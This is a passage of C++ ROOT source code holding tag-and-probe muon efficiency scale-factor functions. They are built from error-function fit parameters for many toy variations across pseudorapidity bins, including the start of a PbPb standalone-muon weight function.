0.9466*TMath::Erf((x-1.5939)/1.9504);\n else if (idx == 72 ) num = 0.9440*TMath::Erf((x-2.1999)/1.4639);\n else if (idx == 73 ) num = 0.9482*TMath::Erf((x-2.0565)/1.6300);\n else if (idx == 74 ) num = 0.9484*TMath::Erf((x-1.6706)/1.9870);\n else if (idx == 75 ) num = 0.9489*TMath::Erf((x-1.9007)/1.7411);\n else if (idx == 76 ) num = 0.9449*TMath::Erf((x-1.9233)/1.6891);\n else if (idx == 77 ) num = 0.9460*TMath::Erf((x-2.3657)/1.3302);\n else if (idx == 78 ) num = 0.9428*TMath::Erf((x-2.0271)/1.6259);\n else if (idx == 79 ) num = 0.9503*TMath::Erf((x-1.6080)/2.0177);\n else if (idx == 80 ) num = 0.9418*TMath::Erf((x-2.0468)/1.5975);\n else if (idx == 81 ) num = 0.9438*TMath::Erf((x-2.0536)/1.5859);\n else if (idx == 82 ) num = 0.9469*TMath::Erf((x-1.9686)/1.6451);\n else if (idx == 83 ) num = 0.9468*TMath::Erf((x-1.5151)/2.0741);\n else if (idx == 84 ) num = 0.9431*TMath::Erf((x-1.9347)/1.6883);\n else if (idx == 85 ) num = 0.9415*TMath::Erf((x-2.4854)/1.1732);\n else if (idx == 86 ) num = 0.9437*TMath::Erf((x-2.2034)/1.4558);\n else if (idx == 87 ) num = 0.9398*TMath::Erf((x-2.3238)/1.3617);\n else if (idx == 88 ) num = 0.9417*TMath::Erf((x-2.0500)/1.6110);\n else if (idx == 89 ) num = 0.9476*TMath::Erf((x-1.4043)/2.1322);\n else if (idx == 90 ) num = 0.9457*TMath::Erf((x-2.0425)/1.5920);\n else if (idx == 91 ) num = 0.9467*TMath::Erf((x-2.4370)/1.2966);\n else if (idx == 92 ) num = 0.9460*TMath::Erf((x-2.0574)/1.6029);\n else if (idx == 93 ) num = 0.9485*TMath::Erf((x-2.2023)/1.4971);\n else if (idx == 94 ) num = 0.9412*TMath::Erf((x-1.7708)/1.8630);\n else if (idx == 95 ) num = 0.9435*TMath::Erf((x-2.1435)/1.5407);\n else if (idx == 96 ) num = 0.9413*TMath::Erf((x-2.2512)/1.4161);\n else if (idx == 97 ) num = 0.9493*TMath::Erf((x-1.5259)/2.1535);\n else if (idx == 98 ) num = 0.9382*TMath::Erf((x-2.2689)/1.3880);\n else if (idx == 99 ) num = 0.9466*TMath::Erf((x-1.9826)/1.6576);\n else if (idx == 100 ) num = 0.9471*TMath::Erf((x-2.0518)/1.6388);\n }\n else if (fabs(eta)<1.6)\n {\n if (idx==0) num = 0.9296*TMath::Erf((x-1.8082)/1.4939);\n else if (idx == -1 ) num = 0.9321*TMath::Erf((x-1.7773)/1.5122);\n else if (idx == -2 ) num = 0.9273*TMath::Erf((x-1.8360)/1.4806);\n else if (idx == 1 ) num = 0.9264*TMath::Erf((x-1.8875)/1.3760);\n else if (idx == 2 ) num = 0.9235*TMath::Erf((x-1.8870)/1.3730);\n else if (idx == 3 ) num = 0.9278*TMath::Erf((x-1.7989)/1.5252);\n else if (idx == 4 ) num = 0.9378*TMath::Erf((x-1.7873)/1.5336);\n else if (idx == 5 ) num = 0.9253*TMath::Erf((x-1.8995)/1.3282);\n else if (idx == 6 ) num = 0.9337*TMath::Erf((x-1.8036)/1.4840);\n else if (idx == 7 ) num = 0.9407*TMath::Erf((x-1.6706)/1.7630);\n else if (idx == 8 ) num = 0.9215*TMath::Erf((x-1.8879)/1.3677);\n else if (idx == 9 ) num = 0.9176*TMath::Erf((x-1.9161)/1.2630);\n else if (idx == 10 ) num = 0.9300*TMath::Erf((x-1.8800)/1.3852);\n else if (idx == 11 ) num = 0.9365*TMath::Erf((x-1.7313)/1.6384);\n else if (idx == 12 ) num = 0.9313*TMath::Erf((x-1.8144)/1.4981);\n else if (idx == 13 ) num = 0.9253*TMath::Erf((x-1.8993)/1.3256);\n else if (idx == 14 ) num = 0.9229*TMath::Erf((x-1.8319)/1.4252);\n else if (idx == 15 ) num = 0.9368*TMath::Erf((x-1.6867)/1.6717);\n else if (idx == 16 ) num = 0.9333*TMath::Erf((x-1.6338)/1.7441);\n else if (idx == 17 ) num = 0.9283*TMath::Erf((x-1.8472)/1.4162);\n else if (idx == 18 ) num = 0.9276*TMath::Erf((x-1.7757)/1.5324);\n else if (idx == 19 ) num = 0.9200*TMath::Erf((x-1.8830)/1.3214);\n else if (idx == 20 ) num = 0.9312*TMath::Erf((x-1.7169)/1.6361);\n else if (idx == 21 ) num = 0.9275*TMath::Erf((x-1.8050)/1.4923);\n else if (idx == 22 ) num = 0.9242*TMath::Erf((x-1.9137)/1.3586);\n else if (idx == 23 ) num = 0.9266*TMath::Erf((x-1.7902)/1.4916);\n else if (idx == 24 ) num = 0.9229*TMath::Erf((x-1.8184)/1.4797);\n else if (idx == 25 ) num = 0.9286*TMath::Erf((x-1.8398)/1.4427);\n else if (idx == 26 ) num = 0.9280*TMath::Erf((x-1.8693)/1.4530);\n else if (idx == 27 ) num = 0.9223*TMath::Erf((x-1.9033)/1.3640);\n else if (idx == 28 ) num = 0.9313*TMath::Erf((x-1.7731)/1.5407);\n else if (idx == 29 ) num = 0.9276*TMath::Erf((x-1.8049)/1.4932);\n else if (idx == 30 ) num = 0.9341*TMath::Erf((x-1.7404)/1.5928);\n else if (idx == 31 ) num = 0.9339*TMath::Erf((x-1.8282)/1.5132);\n else if (idx == 32 ) num = 0.9384*TMath::Erf((x-1.6769)/1.7083);\n else if (idx == 33 ) num = 0.9127*TMath::Erf((x-1.9940)/1.1590);\n else if (idx == 34 ) num = 0.9255*TMath::Erf((x-1.8690)/1.3769);\n else if (idx == 35 ) num = 0.9210*TMath::Erf((x-1.7517)/1.5339);\n else if (idx == 36 ) num = 0.9285*TMath::Erf((x-1.8517)/1.4297);\n else if (idx == 37 ) num = 0.9260*TMath::Erf((x-1.8451)/1.4299);\n else if (idx == 38 ) num = 0.9240*TMath::Erf((x-1.8427)/1.4443);\n else if (idx == 39 ) num = 0.9244*TMath::Erf((x-1.9306)/1.3111);\n else if (idx == 40 ) num = 0.9290*TMath::Erf((x-1.8034)/1.4858);\n else if (idx == 41 ) num = 0.9271*TMath::Erf((x-1.7430)/1.5798);\n else if (idx == 42 ) num = 0.9297*TMath::Erf((x-1.8176)/1.4784);\n else if (idx == 43 ) num = 0.9298*TMath::Erf((x-1.8480)/1.4378);\n else if (idx == 44 ) num = 0.9389*TMath::Erf((x-1.7440)/1.6258);\n else if (idx == 45 ) num = 0.9294*TMath::Erf((x-1.8417)/1.4497);\n else if (idx == 46 ) num = 0.9249*TMath::Erf((x-1.8741)/1.3843);\n else if (idx == 47 ) num = 0.9308*TMath::Erf((x-1.7932)/1.4701);\n else if (idx == 48 ) num = 0.9326*TMath::Erf((x-1.7477)/1.5957);\n else if (idx == 49 ) num = 0.9282*TMath::Erf((x-1.8963)/1.3579);\n else if (idx == 50 ) num = 0.9305*TMath::Erf((x-1.7537)/1.5697);\n else if (idx == 51 ) num = 0.9296*TMath::Erf((x-1.7946)/1.5325);\n else if (idx == 52 ) num = 0.9276*TMath::Erf((x-1.7512)/1.5393);\n else if (idx == 53 ) num = 0.9267*TMath::Erf((x-1.9182)/1.3305);\n else if (idx == 54 ) num = 0.9363*TMath::Erf((x-1.6945)/1.6922);\n else if (idx == 55 ) num = 0.9283*TMath::Erf((x-1.8731)/1.4350);\n else if (idx == 56 ) num = 0.9322*TMath::Erf((x-1.7391)/1.6233);\n else if (idx == 57 ) num = 0.9301*TMath::Erf((x-1.7322)/1.6207);\n else if (idx == 58 ) num = 0.9331*TMath::Erf((x-1.6716)/1.7101);\n else if (idx == 59 ) num = 0.9349*TMath::Erf((x-1.6648)/1.6767);\n else if (idx == 60 ) num = 0.9346*TMath::Erf((x-1.7493)/1.5603);\n else if (idx == 61 ) num = 0.9306*TMath::Erf((x-1.7353)/1.5899);\n else if (idx == 62 ) num = 0.9371*TMath::Erf((x-1.7022)/1.6562);\n else if (idx == 63 ) num = 0.9261*TMath::Erf((x-1.8193)/1.4257);\n else if (idx == 64 ) num = 0.9305*TMath::Erf((x-1.8407)/1.4610);\n else if (idx == 65 ) num = 0.9296*TMath::Erf((x-1.8597)/1.4205);\n else if (idx == 66 ) num = 0.9202*TMath::Erf((x-1.9556)/1.2193);\n else if (idx == 67 ) num = 0.9459*TMath::Erf((x-1.6792)/1.7514);\n else if (idx == 68 ) num = 0.9302*TMath::Erf((x-1.8159)/1.5023);\n else if (idx == 69 ) num = 0.9281*TMath::Erf((x-1.8570)/1.4148);\n else if (idx == 70 ) num = 0.9272*TMath::Erf((x-1.9003)/1.3859);\n else if (idx == 71 ) num = 0.9323*TMath::Erf((x-1.7591)/1.5872);\n else if (idx == 72 ) num = 0.9330*TMath::Erf((x-1.7306)/1.6292);\n else if (idx == 73 ) num = 0.9311*TMath::Erf((x-1.7467)/1.6193);\n else if (idx == 74 ) num = 0.9289*TMath::Erf((x-1.8080)/1.5168);\n else if (idx == 75 ) num = 0.9263*TMath::Erf((x-1.7666)/1.5153);\n else if (idx == 76 ) num = 0.9324*TMath::Erf((x-1.6672)/1.6576);\n else if (idx == 77 ) num = 0.9292*TMath::Erf((x-1.8013)/1.5186);\n else if (idx == 78 ) num = 0.9300*TMath::Erf((x-1.8332)/1.4296);\n else if (idx == 79 ) num = 0.9324*TMath::Erf((x-1.7319)/1.6263);\n else if (idx == 80 ) num = 0.9422*TMath::Erf((x-1.6389)/1.7814);\n else if (idx == 81 ) num = 0.9373*TMath::Erf((x-1.7510)/1.6393);\n else if (idx == 82 ) num = 0.9211*TMath::Erf((x-1.9584)/1.2399);\n else if (idx == 83 ) num = 0.9369*TMath::Erf((x-1.7917)/1.5262);\n else if (idx == 84 ) num = 0.9268*TMath::Erf((x-1.7681)/1.5443);\n else if (idx == 85 ) num = 0.9285*TMath::Erf((x-1.8426)/1.4420);\n else if (idx == 86 ) num = 0.9246*TMath::Erf((x-1.7895)/1.5218);\n else if (idx == 87 ) num = 0.9288*TMath::Erf((x-1.7705)/1.5423);\n else if (idx == 88 ) num = 0.9227*TMath::Erf((x-1.8294)/1.4586);\n else if (idx == 89 ) num = 0.9372*TMath::Erf((x-1.6828)/1.6709);\n else if (idx == 90 ) num = 0.9326*TMath::Erf((x-1.8144)/1.4983);\n else if (idx == 91 ) num = 0.9227*TMath::Erf((x-1.8622)/1.3988);\n else if (idx == 92 ) num = 0.9313*TMath::Erf((x-1.7989)/1.5346);\n else if (idx == 93 ) num = 0.9328*TMath::Erf((x-1.8280)/1.4666);\n else if (idx == 94 ) num = 0.9235*TMath::Erf((x-1.8678)/1.3891);\n else if (idx == 95 ) num = 0.9352*TMath::Erf((x-1.7395)/1.5874);\n else if (idx == 96 ) num = 0.9129*TMath::Erf((x-1.8773)/1.3181);\n else if (idx == 97 ) num = 0.9267*TMath::Erf((x-1.9054)/1.3577);\n else if (idx == 98 ) num = 0.9320*TMath::Erf((x-1.8461)/1.4877);\n else if (idx == 99 ) num = 0.9329*TMath::Erf((x-1.8560)/1.4395);\n else if (idx == 100 ) num = 0.9220*TMath::Erf((x-1.8830)/1.3148);\n }\n else if (fabs(eta)<2.1)\n {\n if (idx==0) num = 0.8808*TMath::Erf((x-0.8275)/2.6569);\n else if (idx == -1 ) num = 0.8880*TMath::Erf((x-0.8487)/2.6109);\n else if (idx == -2 ) num = 0.8741*TMath::Erf((x-0.7909)/2.7254);\n else if (idx == 1 ) num = 0.8770*TMath::Erf((x-0.7880)/2.6943);\n else if (idx == 2 ) num = 0.8796*TMath::Erf((x-0.8924)/2.5517);\n else if (idx == 3 ) num = 0.8837*TMath::Erf((x-0.8413)/2.6633);\n else if (idx == 4 ) num = 0.8946*TMath::Erf((x-0.7660)/2.8588);\n else if (idx == 5 ) num = 0.8839*TMath::Erf((x-0.8219)/2.6615);\n else if (idx == 6 ) num = 0.8824*TMath::Erf((x-0.8453)/2.5985);\n else if (idx == 7 ) num = 0.8801*TMath::Erf((x-1.0358)/2.3720);\n else if (idx == 8 ) num = 0.8926*TMath::Erf((x-0.7354)/2.8534);\n else if (idx == 9 ) num = 0.8916*TMath::Erf((x-0.8156)/2.7134);\n else if (idx == 10 ) num = 0.8916*TMath::Erf((x-0.7433)/2.7871);\n else if (idx == 11 ) num = 0.8811*TMath::Erf((x-0.9594)/2.5088);\n else if (idx == 12 ) num = 0.8855*TMath::Erf((x-0.9109)/2.5561);\n else if (idx == 13 ) num = 0.8807*TMath::Erf((x-0.8590)/2.6326);\n else if (idx == 14 ) num = 0.8778*TMath::Erf((x-0.8646)/2.6030);\n else if (idx == 15 ) num = 0.8845*TMath::Erf((x-0.8554)/2.5860);\n else if (idx == 16 ) num = 0.8645*TMath::Erf((x-0.9157)/2.4368);\n else if (idx == 17 ) num = 0.8769*TMath::Erf((x-0.8501)/2.5900);\n else if (idx == 18 ) num = 0.8918*TMath::Erf((x-0.7382)/2.8471);\n else if (idx == 19 ) num = 0.8820*TMath::Erf((x-0.8223)/2.6482);\n else if (idx == 20 ) num = 0.8726*TMath::Erf((x-0.8663)/2.5738);\n else if (idx == 21 ) num = 0.8773*TMath::Erf((x-0.8907)/2.5166);\n else if (idx == 22 ) num = 0.8736*TMath::Erf((x-0.8550)/2.5404);\n else if (idx == 23 ) num = 0.8911*TMath::Erf((x-0.7634)/2.8452);\n else if (idx == 24 ) num = 0.8766*TMath::Erf((x-0.9200)/2.4898);\n else if (idx == 25 ) num = 0.8732*TMath::Erf((x-0.8114)/2.6580);\n else if (idx == 26 ) num = 0.8797*TMath::Erf((x-0.7584)/2.7608);\n else if (idx == 27 ) num = 0.8771*TMath::Erf((x-0.9050)/2.5382);\n else if (idx == 28 ) num = 0.8784*TMath::Erf((x-0.6728)/2.8952);\n else if (idx == 29 ) num = 0.8802*TMath::Erf((x-0.9025)/2.4973);\n else if (idx == 30 ) num = 0.8697*TMath::Erf((x-0.8121)/2.6681);\n else if (idx == 31 ) num = 0.8782*TMath::Erf((x-1.0297)/2.3387);\n else if (idx == 32 ) num = 0.8742*TMath::Erf((x-0.8084)/2.7484);\n else if (idx == 33 ) num = 0.8726*TMath::Erf((x-0.8769)/2.6209);\n else if (idx == 34 ) num = 0.8819*TMath::Erf((x-0.7743)/2.7490);\n else if (idx == 35 ) num = 0.8788*TMath::Erf((x-0.8461)/2.5855);\n else if (idx == 36 ) num = 0.8871*TMath::Erf((x-0.8165)/2.6974);\n else if (idx == 37 ) num = 0.8891*TMath::Erf((x-0.9215)/2.5337);\n else if (idx == 38 ) num = 0.8754*TMath::Erf((x-0.7864)/2.7009);\n else if (idx == 39 ) num = 0.8866*TMath::Erf((x-0.8428)/2.6524);\n else if (idx == 40 ) num = 0.8923*TMath::Erf((x-0.6470)/2.9881);\n else if (idx == 41 ) num = 0.8818*TMath::Erf((x-0.8133)/2.6415);\n else if (idx == 42 ) num = 0.8884*TMath::Erf((x-0.8576)/2.6823);\n else if (idx == 43 ) num = 0.8869*TMath::Erf((x-0.9677)/2.4840);\n else if (idx == 44 ) num = 0.8844*TMath::Erf((x-0.8030)/2.7200);\n else if (idx == 45 ) num = 0.8740*TMath::Erf((x-0.7566)/2.7149);\n else if (idx == 46 ) num = 0.8800*TMath::Erf((x-0.8041)/2.6571);\n else if (idx == 47 ) num = 0.8940*TMath::Erf((x-0.7826)/2.7504);\n else if (idx == 48 ) num = 0.8867*TMath::Erf((x-0.9197)/2.5293);\n else if (idx == 49 ) num = 0.8798*TMath::Erf((x-0.7474)/2.6376);\n else if (idx == 50 ) num = 0.8747*TMath::Erf((x-0.7553)/2.7202);\n else if (idx == 51 ) num = 0.8894*TMath::Erf((x-0.8685)/2.6462);\n else if (idx == 52 ) num = 0.8881*TMath::Erf((x-0.8480)/2.6765);\n else if (idx == 53 ) num = 0.8910*TMath::Erf((x-0.7353)/2.9356);\n else if (idx == 54 ) num = 0.8825*TMath::Erf((x-0.7976)/2.6684);\n else if (idx == 55 ) num = 0.8855*TMath::Erf((x-0.7173)/2.8026);\n else if (idx == 56 ) num = 0.8837*TMath::Erf((x-0.8344)/2.6504);\n else if (idx == 57 ) num = 0.8965*TMath::Erf((x-0.9054)/2.6317);\n else if (idx == 58 ) num = 0.8707*TMath::Erf((x-0.8363)/2.6046);\n else if (idx == 59 ) num = 0.8629*TMath::Erf((x-0.8368)/2.5692);\n else if (idx == 60 ) num = 0.8717*TMath::Erf((x-0.7978)/2.6381);\n else if (idx == 61 ) num = 0.8706*TMath::Erf((x-0.7922)/2.6360);\n else if (idx == 62 ) num = 0.8760*TMath::Erf((x-0.9813)/2.4250);\n else if (idx == 63 ) num = 0.8789*TMath::Erf((x-0.9652)/2.4536);\n else if (idx == 64 ) num = 0.8811*TMath::Erf((x-0.8680)/2.6235);\n else if (idx == 65 ) num = 0.8876*TMath::Erf((x-0.9485)/2.5030);\n else if (idx == 66 ) num = 0.8757*TMath::Erf((x-0.7507)/2.7548);\n else if (idx == 67 ) num = 0.8752*TMath::Erf((x-0.8480)/2.6100);\n else if (idx == 68 ) num = 0.8821*TMath::Erf((x-0.7743)/2.7201);\n else if (idx == 69 ) num = 0.8891*TMath::Erf((x-0.8295)/2.7646);\n else if (idx == 70 ) num = 0.8876*TMath::Erf((x-0.7989)/2.7085);\n else if (idx == 71 ) num = 0.8927*TMath::Erf((x-0.7799)/2.8487);\n else if (idx == 72 ) num = 0.8916*TMath::Erf((x-0.8202)/2.7260);\n else if (idx == 73 ) num = 0.8752*TMath::Erf((x-0.8830)/2.5678);\n else if (idx == 74 ) num = 0.8778*TMath::Erf((x-0.8098)/2.6368);\n else if (idx == 75 ) num = 0.8916*TMath::Erf((x-0.7567)/2.8626);\n else if (idx == 76 ) num = 0.8779*TMath::Erf((x-0.8353)/2.5928);\n else if (idx == 77 ) num = 0.8840*TMath::Erf((x-0.8769)/2.5987);\n else if (idx == 78 ) num = 0.8794*TMath::Erf((x-0.7735)/2.7067);\n else if (idx == 79 ) num = 0.8762*TMath::Erf((x-0.8888)/2.5356);\n else if (idx == 80 ) num = 0.9004*TMath::Erf((x-0.7071)/2.9781);\n else if (idx == 81 ) num = 0.8831*TMath::Erf((x-0.8390)/2.6131);\n else if (idx == 82 ) num = 0.8810*TMath::Erf((x-0.9536)/2.5064);\n else if (idx == 83 ) num = 0.8849*TMath::Erf((x-0.7082)/2.8367);\n else if (idx == 84 ) num = 0.8638*TMath::Erf((x-0.8066)/2.6004);\n else if (idx == 85 ) num = 0.8862*TMath::Erf((x-0.8462)/2.5902);\n else if (idx == 86 ) num = 0.8824*TMath::Erf((x-0.8834)/2.5490);\n else if (idx == 87 ) num = 0.8816*TMath::Erf((x-0.7643)/2.7252);\n else if (idx == 88 ) num = 0.8826*TMath::Erf((x-0.8591)/2.5872);\n else if (idx == 89 ) num = 0.8795*TMath::Erf((x-0.8398)/2.6132);\n else if (idx == 90 ) num = 0.8769*TMath::Erf((x-0.7443)/2.8197);\n else if (idx == 91 ) num = 0.8752*TMath::Erf((x-0.6779)/2.8430);\n else if (idx == 92 ) num = 0.8881*TMath::Erf((x-0.7564)/2.7943);\n else if (idx == 93 ) num = 0.8733*TMath::Erf((x-0.8334)/2.6063);\n else if (idx == 94 ) num = 0.8827*TMath::Erf((x-0.8274)/2.6512);\n else if (idx == 95 ) num = 0.8845*TMath::Erf((x-0.9412)/2.5259);\n else if (idx == 96 ) num = 0.8725*TMath::Erf((x-0.8932)/2.5069);\n else if (idx == 97 ) num = 0.8879*TMath::Erf((x-0.7633)/2.7854);\n else if (idx == 98 ) num = 0.8820*TMath::Erf((x-0.7927)/2.7485);\n else if (idx == 99 ) num = 0.8809*TMath::Erf((x-0.7087)/2.8046);\n else if (idx == 100 ) num = 0.8775*TMath::Erf((x-0.7242)/2.8572);\n }\n else\n {\n if (idx==0) num = 0.7180*TMath::Erf((x-0.8578)/0.8700);\n else if (idx == -1 ) num = 0.7237*TMath::Erf((x-1.0005)/0.7219);\n else if (idx == -2 ) num = 0.7120*TMath::Erf((x-0.7996)/0.9479);\n else if (idx == 1 ) num = 0.7166*TMath::Erf((x-1.2516)/0.5359);\n else if (idx == 2 ) num = 0.7318*TMath::Erf((x-0.0027)/1.7106);\n else if (idx == 3 ) num = 0.7214*TMath::Erf((x-0.7102)/1.0657);\n else if (idx == 4 ) num = 0.7039*TMath::Erf((x-0.8217)/0.8051);\n else if (idx == 5 ) num = 0.7211*TMath::Erf((x-1.0845)/0.6735);\n else if (idx == 6 ) num = 0.7278*TMath::Erf((x-0.7072)/1.1182);\n else if (idx == 7 ) num = 0.7470*TMath::Erf((x-0.0013)/1.6604);\n else if (idx == 8 ) num = 0.7173*TMath::Erf((x-0.8430)/0.8568);\n else if (idx == 9 ) num = 0.7170*TMath::Erf((x-0.7897)/0.9600);\n else if (idx == 10 ) num = 0.7344*TMath::Erf((x-0.4984)/1.2313);\n else if (idx == 11 ) num = 0.7145*TMath::Erf((x-0.8770)/0.8858);\n else if (idx == 12 ) num = 0.7216*TMath::Erf((x-0.8724)/0.8814);\n else if (idx == 13 ) num = 0.7024*TMath::Erf((x-0.6774)/0.9737);\n else if (idx == 14 ) num = 0.7078*TMath::Erf((x-0.6645)/0.9321);\n else if (idx == 15 ) num = 0.7246*TMath::Erf((x-0.0143)/1.6680);\n else if (idx == 16 ) num = 0.7053*TMath::Erf((x-1.2393)/0.5302);\n else if (idx == 17 ) num = 0.7155*TMath::Erf((x-1.2468)/0.5147);\n else if (idx == 18 ) num = 0.7086*TMath::Erf((x-1.0463)/0.6646);\n else if (idx == 19 ) num = 0.7055*TMath::Erf((x-0.8309)/0.8505);\n else if (idx == 20 ) num = 0.7057*TMath::Erf((x-1.1795)/0.5500);\n else if (idx == 21 ) num = 0.7241*TMath::Erf((x-0.9261)/0.8229);\n else if (idx == 22 ) num = 0.7086*TMath::Erf((x-1.4130)/0.3678);\n else if (idx == 23 ) num = 0.7126*TMath::Erf((x-0.5529)/1.0944);\n else if (idx == 24 ) num = 0.7086*TMath::Erf((x-0.3100)/1.3014);\n else if (idx == 25 ) num = 0.7014*TMath::Erf((x-1.3142)/0.3928);\n else if (idx == 26 ) num = 0.7292*TMath::Erf((x-0.4158)/1.1805);\n else if (idx == 27 ) num = 0.7267*TMath::Erf((x-0.7178)/1.0722);\n else if (idx == 28 ) num = 0.7166*TMath::Erf((x-0.8528)/0.8656);\n else if (idx == 29 ) num = 0.7091*TMath::Erf((x-1.0373)/0.7004);\n else if (idx == 30 ) num = 0.7331*TMath::Erf((x-0.3617)/1.4460);\n else if (idx == 31 ) num = 0.7264*TMath::Erf((x-1.1119)/0.6594);\n else if (idx == 32 ) num = 0.7082*TMath::Erf((x-1.5147)/0.2648);\n else if (idx == 33 ) num = 0.7074*TMath::Erf((x-0.7820)/0.9116);\n else if (idx == 34 ) num = 0.7107*TMath::Erf((x-1.3653)/0.3824);\n else if (idx == 35 ) num = 0.7141*TMath::Erf((x-0.7533)/0.9374);\n else if (idx == 36 ) num = 0.7079*TMath::Erf((x-0.3588)/1.2020);\n else if (idx == 37 ) num = 0.7100*TMath::Erf((x-0.7398)/0.9350);\n else if (idx == 38 ) num = 0.7145*TMath::Erf((x-0.8533)/0.8685);\n else if (idx == 39 ) num = 0.7099*TMath::Erf((x-0.9747)/0.7461);\n else if (idx == 40 ) num = 0.7075*TMath::Erf((x-0.8300)/0.9575);\n else if (idx == 41 ) num = 0.7119*TMath::Erf((x-0.4227)/1.2104);\n else if (idx == 42 ) num = 0.7296*TMath::Erf((x-0.0441)/1.5493);\n else if (idx == 43 ) num = 0.7158*TMath::Erf((x-1.4735)/0.2933);\n else if (idx == 44 ) num = 0.7205*TMath::Erf((x-0.7557)/0.8847);\n else if (idx == 45 ) num = 0.7197*TMath::Erf((x-0.3019)/1.3366);\n else if (idx == 46 ) num = 0.7181*TMath::Erf((x-1.4132)/0.3676);\n else if (idx == 47 ) num = 0.7027*TMath::Erf((x-0.9052)/0.7791);\n else if (idx == 48 ) num = 0.7160*TMath::Erf((x-0.5359)/1.1692);\n else if (idx == 49 ) num = 0.7210*TMath::Erf((x-0.8620)/0.8733);\n else if (idx == 50 ) num = 0.7266*TMath::Erf((x-0.0249)/1.7357);\n else if (idx == 51 ) num = 0.7245*TMath::Erf((x-1.0032)/0.7698);\n else if (idx == 52 ) num = 0.7220*TMath::Erf((x-0.7383)/0.9563);\n else if (idx == 53 ) num = 0.7239*TMath::Erf((x-0.4208)/1.3443);\n else if (idx == 54 ) num = 0.7300*TMath::Erf((x-0.1245)/1.5572);\n else if (idx == 55 ) num = 0.7099*TMath::Erf((x-1.3518)/0.4030);\n else if (idx == 56 ) num = 0.7127*TMath::Erf((x-0.8248)/0.8412);\n else if (idx == 57 ) num = 0.7245*TMath::Erf((x-0.5167)/1.1879);\n else if (idx == 58 ) num = 0.7209*TMath::Erf((x-0.9908)/0.7445);\n else if (idx == 59 ) num = 0.7166*TMath::Erf((x-0.9852)/0.7568);\n else if (idx == 60 ) num = 0.6962*TMath::Erf((x-1.1946)/0.5513);\n else if (idx == 61 ) num = 0.7198*TMath::Erf((x-1.4611)/0.3291);\n else if (idx == 62 ) num = 0.7255*TMath::Erf((x-0.8597)/0.9723);\n else if (idx == 63 ) num = 0.7052*TMath::Erf((x-1.1680)/0.5282);\n else if (idx == 64 ) num = 0.7187*TMath::Erf((x-0.2292)/1.5254);\n else if (idx == 65 ) num = 0.7240*TMath::Erf((x-0.8342)/0.9212);\n else if (idx == 66 ) num = 0.7119*TMath::Erf((x-0.8580)/0.8737);\n else if (idx == 67 ) num = 0.7247*TMath::Erf((x-0.7476)/0.9426);\n else if (idx == 68 ) num = 0.7120*TMath::Erf((x-0.6907)/0.9676);\n else if (idx == 69 ) num = 0.7366*TMath::Erf((x-0.6924)/1.0656);\n else if (idx == 70 ) num = 0.7145*TMath::Erf((x-0.9956)/0.7190);\n else if (idx == 71 ) num = 0.7154*TMath::Erf((x-0.5779)/1.0455);\n else if (idx == 72 ) num = 0.7234*TMath::Erf((x-1.3667)/0.4170);\n else if (idx == 73 ) num = 0.7078*TMath::Erf((x-1.0463)/0.6724);\n else if (idx == 74 ) num = 0.7196*TMath::Erf((x-1.0048)/0.7375);\n else if (idx == 75 ) num = 0.7302*TMath::Erf((x-0.4342)/1.3019);\n else if (idx == 76 ) num = 0.7233*TMath::Erf((x-0.7556)/0.9829);\n else if (idx == 77 ) num = 0.7194*TMath::Erf((x-0.8984)/0.8662);\n else if (idx == 78 ) num = 0.7196*TMath::Erf((x-0.9647)/0.8319);\n else if (idx == 79 ) num = 0.7177*TMath::Erf((x-0.8629)/0.8744);\n else if (idx == 80 ) num = 0.7390*TMath::Erf((x-0.6601)/1.1948);\n else if (idx == 81 ) num = 0.7124*TMath::Erf((x-1.0556)/0.7668);\n else if (idx == 82 ) num = 0.7085*TMath::Erf((x-1.1835)/0.5101);\n else if (idx == 83 ) num = 0.6993*TMath::Erf((x-0.7678)/0.7849);\n else if (idx == 84 ) num = 0.7196*TMath::Erf((x-0.3082)/1.2741);\n else if (idx == 85 ) num = 0.7185*TMath::Erf((x-0.8952)/0.8965);\n else if (idx == 86 ) num = 0.7186*TMath::Erf((x-1.1725)/0.5826);\n else if (idx == 87 ) num = 0.7163*TMath::Erf((x-0.9281)/0.7490);\n else if (idx == 88 ) num = 0.7296*TMath::Erf((x-0.6708)/1.0681);\n else if (idx == 89 ) num = 0.7110*TMath::Erf((x-1.0808)/0.6446);\n else if (idx == 90 ) num = 0.7182*TMath::Erf((x-0.7241)/1.0576);\n else if (idx == 91 ) num = 0.7340*TMath::Erf((x-1.2615)/0.5320);\n else if (idx == 92 ) num = 0.7063*TMath::Erf((x-0.9237)/0.7618);\n else if (idx == 93 ) num = 0.7128*TMath::Erf((x-0.7948)/0.9402);\n else if (idx == 94 ) num = 0.7241*TMath::Erf((x-0.3625)/1.2925);\n else if (idx == 95 ) num = 0.7076*TMath::Erf((x-0.8464)/0.8645);\n else if (idx == 96 ) num = 0.7150*TMath::Erf((x-1.0450)/0.6694);\n else if (idx == 97 ) num = 0.7211*TMath::Erf((x-0.4410)/1.3040);\n else if (idx == 98 ) num = 0.7290*TMath::Erf((x-0.3473)/1.4477);\n else if (idx == 99 ) num = 0.7269*TMath::Erf((x-0.8277)/0.9027);\n else if (idx == 100 ) num = 0.7260*TMath::Erf((x-0.8638)/0.9165);\n }\n\n // return\n return num/den;\n}\n\n/////////////////////////////////////////////////////////////\n// STA P b P b //\n/////////////////////////////////////////////////////////////\ndouble tnp_weight_sta_pbpb(double x, double eta, int idx)\n{\n // denominator (from MC)\n double den=1;\n if (fabs(eta)<1.6) den = 0.9911*TMath::Erf((x-1.4336)/2.8548);\n else den = den = 0.9132*TMath::Erf((x-0.8045)/1.8366);\n \n // numerator (from data)\n double num=1;\n if (fabs(eta)<1.6)\n {\n if (idx==0) num = 0.9891*TMath::Erf((x-1.4814)/2.5014);\n else if (idx == -1 ) num = 0.9996*TMath::Erf((x-1.4885)/2.4666);\n else if (idx == -2 ) num = 0.9764*TMath::Erf((x-1.4746)/2.5279);\n else if (idx == 1 ) num = 0.9948*TMath::Erf((x-1.0027)/3.0825);\n else if (idx == 2 ) num = 0.9658*TMath::Erf((x-1.8116)/1.9534);\n else if (idx == 3 ) num = 0.9601*TMath::Erf((x-1.5043)/2.5557);\n else if (idx == 4 ) num = 0.9755*TMath::Erf((x-1.5490)/2.4079);\n else if (idx == 5 ) num = 0.9580*TMath::Erf((x-1.4780)/2.3290);\n else if (idx == 6 ) num = 0.9459*TMath::Erf((x-1.5368)/2.1954);\n else if (idx == 7 ) num = 0.9847*TMath::Erf((x-1.6312)/2.2940);\n else if (idx == 8 ) num = 0.9696*TMath::Erf((x-1.6106)/2.3524);\n else if (idx == 9 ) num = 